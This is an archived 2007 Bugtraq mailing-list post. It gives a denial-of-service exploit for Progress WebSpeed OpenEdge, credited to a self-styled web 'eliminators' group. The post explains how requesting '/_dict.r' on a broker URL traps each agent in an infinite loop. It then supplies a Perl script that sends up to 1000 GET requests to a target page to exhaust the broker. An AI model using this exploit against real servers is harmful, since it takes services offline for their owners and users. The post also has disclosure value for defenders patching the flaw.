bugtraq - Webspeed OpenEdge Dos exploit

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20070512090237.11367.qmail@securityfocus.com>
Date: 12 May 2007 09:02:37 -0000
From: bendeniz_avci@...mail.com
To: bugtraq@...urityfocus.com
Subject: Webspeed OpenEdge Dos exploit

#Webspeed OpenEdge Dos exploit 
#Bug Discovered By :Eelko Neven 
#Exploit Coded By spyMASter 
#&#350;eklimizide koyal&#305;m : ) www.ulpow.net The Eliminators of the Web 
#First you have to find the messenger execution url. For example:
http://target/scripts/cgiip.exe/WService=wsbroker1
http://target/scripts/wsisa.dll/WService=wsbroker1

just add the following to the url:
/_dict.r

your url will look like this:
http://target/scripts/cgiip.exe/WService=wsbroker1/_dict.r

When you run the above url you put the agent into an infinite loop (Do While).
If for instance your server runs 5 Broker Agents you just have to run above url
5 times and then all agents will be put in busy mode. From that moment on it's
not possible to access that broker anymore. 

Tested with Progress 10b in production mode.

if(!$ARGV[0]){  
        print "U.LP.O.W\n"; 
        print "www.ulpow.net\n";
        print "The Eliminators of the Web\n";  
        print "Usage:perl webspeed.pl targetsite targetpage\n"; 

} else {

$site = $ARGV[0];
$page = $ARGV[1];

 print "Attack Started\n"; 

$ish=1; 

do { 
$ish++; 
use IO::Socket; 
$socket = new IO::Socket::INET( PeerAddr => $site, 
PeerPort => 80, 
Proto => 'tcp', 
Type => SOCK_STREAM, ) or die "Couldn't Connect to target please check again 
address!\n"; 
print $socket "GET $page HTTP/1.0\r\n"; 
close($socket); 
} while ($ish < 1000); 

print ":-; Attack Complete\n";
}